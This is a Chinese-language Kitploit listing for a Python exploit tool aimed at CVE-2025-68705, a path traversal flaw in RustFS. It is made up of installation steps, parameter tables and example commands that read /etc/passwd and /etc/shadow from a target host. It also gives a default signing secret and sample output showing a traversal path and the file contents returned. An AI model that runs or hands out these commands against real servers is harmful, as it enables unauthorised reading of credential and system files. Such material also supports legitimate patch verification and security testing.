Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-68705 — CVE-2025-68705 RustFS 路径遍历漏洞检测 | Kitploit
工具/GitHubGitHub/imjdl/cve-2025-68705
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubimjdl/cve-2025-68705

CVE-2025-68705

CVE-2025-68705 RustFS 路径遍历漏洞检测

查看仓库
17个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-68705 - RustFS 路径遍历漏洞利用工具

描述

该脚本利用了 RustFS 中的一个路径遍历漏洞(CVE-2025-68705),可允许读取服务器上的任意文件。

环境要求

  • Python 3.6+
  • 依赖项见 requirements.txt

安装

root@kitploit:~
git clone https://github.com/yourusername/CVE-2025-68705.git
cd CVE-2025-68705
pip install -r requirements.txt

使用方法

root@kitploit:~
python exp.py -H <host> -p <port> -f <file_path> [-s <secret>]

必需参数

参数说明
-H, --host目标主机 IP 或主机名
-p, --port目标端口号
-f, --file要读取的文件路径(配合 --check-only 时可省略)

可选参数

示例

读取 /etc/passwd 文件

root@kitploit:~
python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd

使用自定义偏移量和长度读取 /etc/shadow

root@kitploit:~
python exp.py -H 192.168.1.128 -p 9000 -f /etc/shadow -o 0 -l 1024

使用自定义密钥

root@kitploit:~
python exp.py -H 192.168.1.128 -p 9000 -f /etc/hosts -s customsecret

仅检查目标是否存在漏洞

root@kitploit:~
python exp.py -H 192.168.1.128 -p 9000 --check-only

读取文件的指定范围

root@kitploit:~
python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd -o 100 -l 200

输出示例

root@kitploit:~
python ./exp.py -H 192.168.1.128 -p 19010 -f ../../../../etc/hosts -o 0 -l 100
[*] Target: 192.168.1.128:19010
[*] Secret: rustfsadmin
--------------------------------------------------
[*] Checking for CVE-2025-68705 vulnerability...
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../etc/passwd
[+] Target is VULNERABLE!
--------------------------------------------------
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../../../../../etc/hosts
[+] Successfully read file!

[+] File content (offset=0, length=100):
--------------------------------------------------
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastp

许可证

本项目基于 MIT 许可证授权 - 详情请参阅 LICENSE 文件。

参考

  • RustFS 安全公告
  • CVE-2025-68705
下载工具
参数说明默认值
-s, --secret签名使用的密钥rustfsadmin
-o, --offset文件读取偏移量0
-l, --length要读取的字节数4096
--check-only仅检查目标是否存在漏洞-